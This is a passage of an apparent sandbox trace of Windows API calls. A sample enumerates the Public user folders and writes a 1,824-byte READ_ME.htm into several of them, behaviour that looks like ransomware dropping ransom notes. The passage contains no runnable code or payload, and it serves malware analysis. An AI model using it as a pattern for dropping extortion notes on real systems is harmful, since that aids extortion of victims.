lpFileName="C:\\Users\\Public\\Documents\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0160.060] SetErrorMode (uMode=0x1) returned 0x0 [0160.060] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\READ_ME.htm" (normalized: "c:\\users\\public\\documents\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.060] GetFileType (hFile=0x1d0) returned 0x1 [0160.060] SetErrorMode (uMode=0x0) returned 0x1 [0160.060] GetFileType (hFile=0x1d0) returned 0x1 [0160.061] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e99f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29e99f0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0160.062] CloseHandle (hObject=0x1d0) returned 1 [0160.062] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0160.063] SetErrorMode (uMode=0x1) returned 0x0 [0160.063] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*" (normalized: "c:\\users\\public\\downloads\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0160.064] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.064] SetErrorMode (uMode=0x0) returned 0x1 [0160.065] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0160.065] SetErrorMode (uMode=0x1) returned 0x0 [0160.065] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*" (normalized: "c:\\users\\public\\downloads\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.066] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.066] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.066] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0160.066] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.066] SetErrorMode (uMode=0x0) returned 0x1 [0160.067] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0160.067] SetErrorMode (uMode=0x1) returned 0x0 [0160.067] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\READ_ME.htm" (normalized: "c:\\users\\public\\downloads\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.067] GetFileType (hFile=0x1d0) returned 0x1 [0160.068] SetErrorMode (uMode=0x0) returned 0x1 [0160.068] GetFileType (hFile=0x1d0) returned 0x1 [0160.068] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ef888*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29ef888*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0160.069] CloseHandle (hObject=0x1d0) returned 1 [0160.070] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0160.070] SetErrorMode (uMode=0x1) returned 0x0 [0160.071] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*" (normalized: "c:\\users\\public\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e05a920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e05a920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e05a920, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0160.072] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e05a920, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0160.072] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.072] SetErrorMode (uMode=0x0) returned 0x1 [0160.072] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0160.073] SetErrorMode (uMode=0x1) returned 0x0 [0160.073] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*" (normalized: "c:\\users\\public\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e05a920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e05a920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e05a920, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0160.073] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e05a920, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x502b86c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0160.074] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.074] SetErrorMode (uMode=0x0) returned 0x1 [0160.074] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0160.074] SetErrorMode (uMode=0x1) returned 0x0 [0160.074] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\READ_ME.htm" (normalized: "c:\\users\\public\\favorites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.075] GetFileType (hFile=0x1d0) returned 0x1 [0160.075] SetErrorMode (uMode=0x0) returned 0x1 [0160.075] GetFileType (hFile=0x1d0) returned 0x1 [0160.075] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f5720*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29f5720*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0160.076] CloseHandle (hObject=0x1d0) returned 1 [0160.077] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0160.077] SetErrorMode (uMode=0x1) returned 0x0 [0160.077] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*" (normalized: "c:\\users\\public\\libraries\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0160.079] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0160.079] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.079] SetErrorMode (uMode=0x0) returned 0x1 [0160.079] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0160.079] SetErrorMode (uMode=0x1) returned 0x0 [0160.079] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*" (normalized: "c:\\users\\public\\libraries\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0160.080] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0160.080] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.081] SetErrorMode (uMode=0x0) returned 0x1 [0160.081] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0160.081] SetErrorMode (uMode=0x1) returned 0x0 [0160.081] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\READ_ME.htm" (normalized: "c:\\users\\public\\libraries\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0160.081] GetFileType (hFile=0x1d0) returned 0x1 [0160.082] SetErrorMode (uMode=0x0) returned 0x1 [0160.082] GetFileType (hFile=0x1d0) returned 0x1 [0160.082] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fb898*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29fb898*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0160.083] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0160.083] SetErrorMode (uMode=0x1) returned 0x0 [0160.084] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*" (normalized: "c:\\users\\public\\music\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd6e460, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd6e460, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd6e460, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd6e460, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd6e460, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x5bd6e460, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd6e460, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0160.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0160.085] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0160.085] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0160.085] SetErrorMode (uMode=0x0) returned 0x1 [0160.085] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0160.086] SetErrorMode (uMode=0x1) returned 0x0 [0160.086] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*" (normalized: "c:\\users\\public\\music\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5bd6e460, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5bd6e460, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0160.086] FindNextFileW (in: 